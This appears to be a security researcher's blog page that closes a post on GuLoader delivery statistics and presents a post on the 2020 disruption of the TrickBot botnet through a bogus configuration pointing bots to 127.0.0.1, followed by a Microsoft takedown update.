This software is constantly evolving, so some relationship could change from version to version but in principle it should cover a good percentage of the samples in circulation.

This graph is shown below:

How is GuLoader’s health after the media attention ?

It seems quite well! According to the visibility I have, starting from the beginning of July 2020, a total of 505 unique URLs can be linked to the threat in question. Among these we find the use of Google Drive, Microsoft OneDrive, compromised websites and infrastructures built specifically for this by threat actors.

The following graph shows a breakdown statistic in respect to the type of URLs observed in delivering final payloads starting from a GuLoader sample (note: “Others” includes compromised websites and actor controlled infrastructure):

As for the final payloads served by this dropper, below is another graph relating to the five (5) most common malware families observed (always according to the visibility I can personally dispose of):

Conclusion

This software, to date, still helps threat actors with low or no deep technical skills to evade common detection systems and carry out malicious campaigns aimed at collecting credentials, private information and in obtaining unauthorized access and control of the victim environments.

Share:

The mystery of “127.0.0.1:1” : A trick against “TheTrick”

Behind the scenes

TheTrick” is one of the community names with which we can refer to a criminal group that is responsible for the development and distribution of many malware variants, among wich “TrickBot“, “Ryuk“, “Conti“, “BazarLoader” and “BazarBackdoor“.

However, the malware vector mainly used by this adversary is certainly “TrickBot“. TrickBot is a modular piece of malware designed to allow for the inclusion of different malicious features to a starting base. This feature makes it capable of carrying out a lot of activities such as downloading and executing additional payloads, data harvesting, reconnaissance of the victim’s local network, lateral movement etc. etc.

According to visibility of my research group, however, starting from 22 September 2020 someone tried to disrupt the TrickBot botnet pushing a new configuration file to infected hosts that reported the IP address “127.0.0.1” as new command-and-control server.

127.0.0.1 is the “localhost” and obviously it’s not routable.

Beyond this, the “version” reported in this bogus file has been set to a value probably used to prevent bots from downloading a new valid configuration.

At first it was impossible to know if this configuration file was pushed voluntarily by the threat actor itself [very unlikely], by white hats attempting to disrupt the botnet, by a security vendor or by some government unit.

Until the configuration is returned to its prior state, TrickBot infected machines have been be unable to communicate with the true TrickBot command-and-control servers. However, what was well understood within my research group (while trying to understand what was happening) is that the entity that was attempting to destroy the TrickBot network had a very good knowledge about the “internals” of this threat.

Finally, on 09 October 2020The Washington Post revealed the mystery by reporting that the TrickBot disruption was the work of U.S. Cyber Command.

Botnet dismantled ?

For now it seems “No”. However, most likely this operation was not aimed at dismantling the Trickbot network permanently but instead at “…distract the adversary for at least a while as they seek to restore their operations…”. This is probably because “…the action was a bid to prevent Trickbot from being used to somehow interfere with the upcoming presidential election…”

Plausibly, operators behind TrickBot network already begun the full recovery of their network and losses. In addition, one of the potential counter-moves that the threat actor could put in place as retaliation for what happened could be an increase in money demands during ransomware-based operations.

In general, the threat landscape associated with this threat actor appears currently very lively. For example I recently came across a variant of Ryuk ransomware (associated with that group’s criminal ecosystem) compiled on September 11, 2020, suggesting a return of this after its development seemed to have been abandoned with the advent of “Conti“.

Very recently, moreover, another malware associated with the same criminal ecosystem, called BazarLoader, has been spread with practical no detection rates. Again I came across and reported on Twitter a variant of them with a detection rate of just 1/69 replying to a @James_inthe_box tweet. (https://twitter.com/James_inthe_box/status/1313523102312087553)

All of this to confirm that the group still seems very active and determined in their operations.

UPDATE: 12/10/2020

Microsoft, with the help of several ISPs around the world, took the TrickBot network down. Participants to operation obtained a court order to take down the TrickBot command and control servers thus avoiding poisoning the control and management mechanisms of agents.

 

Share: